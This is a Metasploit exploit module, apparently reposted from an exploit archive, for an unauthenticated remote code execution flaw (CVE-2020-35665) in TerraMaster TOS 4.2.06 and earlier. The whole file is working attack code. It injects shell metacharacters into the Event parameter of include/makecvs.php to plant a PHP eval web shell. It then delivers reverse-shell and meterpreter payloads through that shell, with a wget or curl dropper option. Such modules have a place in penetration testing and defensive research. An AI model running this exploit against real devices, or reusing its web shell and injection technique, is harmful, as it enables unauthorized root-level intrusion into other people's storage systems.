TerraMaster TOS 4.2.06 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06          and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`          during CSV creation.          Any unauthenticated user can therefore execute commands on the system under the same privileges as the          web application, which typically runs under root at the TerraMaster Operating System.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'IHTeam' # Discovery        ],        'References' => [          ['CVE', '2020-35665'],          ['CVE', '2020-28188'],          ['PACKETSTORM', '160685'],          ['PACKETSTORM', '160687'],          ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'],          ['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665']        ],        'DisclosureDate' => '2020-12-12',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],        'Privileged' => false,        'Targets' => [          [            'PHP',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8181,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']),      OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]),      OptEnum.new('COMMAND',                  [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])    ])  end  def upload_webshell    # randomize file name if option WEBSHELL is not set    @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s)    @post_param = Rex::Text.rand_text_alphanumeric(1..8)    @get_param = Rex::Text.rand_text_alphanumeric(1..8)    # Upload PHP payload    webshell = if target['Type'] == :php                 "http|echo \"<?php @eval(base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"               else                 "http|echo \"<?=\\$_GET[\'#{@get_param}\'](base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"               end    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'include', 'makecvs.php'),      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        'Event' => webshell.to_s      }    })  end  def get_terramaster_info    # get Terramaster CPU architecture (X64 or ARM64) and TOS version    @terramaster = {}    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')    })    if res && res.body && res.code == 200      # get the version information from the request response like below:      # <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>      return if res.body.match(/ver=.+?"/).nil?      version = res.body.match(/ver=.+?"/)[0]      # check if architecture is ARM64 or X64      if version.match(/_A/)        @terramaster['cpu_arch'] = 'ARM64'      elsif version.match(/_S/) || version.match(/_Q/)        @terramaster['cpu_arch'] = 'X64'      else        @terramaster['cpu_arch'] = 'UNKNOWN'      end      # strip TOS version number and remove trailing double quote.      @terramaster['tos_version'] = version.split('.0_')[1].chop    end  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        @post_param => payload      }    })  end  def execute_command(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    php_cmd_function = datastore['COMMAND']    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        @get_param => php_cmd_function      },      'vars_post' => {        @post_param => payload      }    })  end  def check    get_terramaster_info    return CheckCode::Safe if @terramaster.empty?    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06')      return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")    else      return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")    end  end  def exploit    res = upload_webshell    fail_with(Failure::UnexpectedReply, 'Web shell upload error.') if res.nil? || (res.code != 200)    register_file_for_cleanup(@webshell_name.to_s)    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager(linemax: 65536)    end  endend